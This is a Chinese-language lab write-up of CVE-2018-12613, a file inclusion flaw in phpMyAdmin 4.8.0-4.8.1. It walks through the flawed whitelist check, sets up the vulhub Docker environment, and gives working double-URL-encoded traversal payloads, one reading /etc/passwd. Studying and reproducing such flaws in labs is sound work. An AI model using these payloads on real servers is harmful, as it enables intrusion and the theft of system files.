CVE-2018-12613
该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。攻击者必须经过身份验证,但在这些情况下除外:
$ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定已经控制的任何主机,并在phpMyAdmin上执行任意代码
$ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码
phpMyAdmin 4.8.0-4.8.1
在index.php文件的55-63行如下
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
这里获取target参数做出了如下判断,判断为真则包含此参数。
1.参数不为空
2.参数为字符串
3.参数不能以index开头
4.参数不在$target_blacklist中
5.Core::checkPageValidity(参数)为真
第四条判定条件
$target_blacklist中的数组为import.php 和 export.php,所以参数不是这两个即可。
第五条判定条件中的函数如下:
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
在这个函数中有以下判断,分别如下:
1、whitelist为空则引用静态声明的goto_whitelist
2、如果page没有被定义过或者page不为字符串则return false
3、page存在whitelist中的某个值则返回true
4、_page存在whitelist中的某个值则返回true
5、经过urldecode函数解码后的_page存在whitelist中的某个值则返回true
我们过一下整体的流程,首先index.php调用此函数时只传了$_REQUEST[‘target’]这一个参数,那么whitelist为空,所以引用了静态声明的goto_whitelist,再来看goto_whitelist的内容:
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
这是goto_whitelist中的值,也就是说这些是可以出现的。第二个条件肯定是为真的,接着往下走,第三个判断page是否为goto_whitelist中的值,如果是则返回ture,否则进入下一步,而这一步存在的意义在于,考虑到用户传入的page可能带有参数,所以有了这一步的判断。
所以第三步判断为假,进入下一步,先定义_page的值为:把page以?分割开,取前面的字符串看是否goto_whitelist中存在,如果存在,则返回ture,执行包含文件,如果还不存在,再验证,进行urlecode函数解码后再与goto_whitelist中的值进行判断,如果存在则返回真。
所以我们需要构造满足以上条件的payload进行文件包含,思路是进行二次url编码,例如我们传入
?target=db_datadict.php%253f../../../../phpinfo.php
经过一次服务器自动解码后变成了
?target=db_datadict.php%3f../../../../phpinfo.php
传入验证,这个参数过上面的流程的话,走到
_page存在whitelist中的某个值则返回true
这里的时候,判断为假,进入下一个判断,取?之前的值在goto_whitelist对照,但是此时没有?,截取之后判断还为假,所以进入url解码,再进行判断,此时解码后参数为
?target=db_datadict.php?../../../../phpinfo.php
判断为真,返回ture,包含此文件。
1. curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo
2. yum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpm
3. yum install docker-ce
4. systemctl start docker
vi /etc/docker/daemon.json
直接替换里面的内容为:
{
“registry-mirrors”: [“https://xxxxx.mirrors.aliyun.com”]
}
网址在阿里云容器镜像服务获取:
https://www.aliyun.com/product/acr?spm=a2c4g.11174283.2.1.625e4541j1IFor
重启docker服务:
systemctl daemon-reload
systemctl restart docker
测试docker服务是否正常:
docker pull busybox
docker run busybox echo “hello world”
输出hello world即docker正常运行。
复现漏洞可以直接使用vulhub上的docker镜像
项目可以下载至任意目录下,我这里在root目录下
git clone https://github.com/vulhub/vulhub
进入项目需要复现的漏洞编号下
cd vulhub/vulhub-master/phpmyadmin/CVE-2018-12613
把我们需要的项目起来
docker-compose up -d
此命令需要python环境,还需要再单独下载
yum install -y python38
可能yum源里没有python38,也可以装其他版本,可以执行get-pip.py文件即可
wget https://bootstrap.pypa.io/get-pip.py
sudo python3 get-pip.py
pip -version
pip install docker-compose
环境搭建完成,我这里打开页面访问8080端口就进入了phpMyAdmin界面
构造包含文件的payload,测试包含etc/passwd文件:
http://192.168.0.106:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd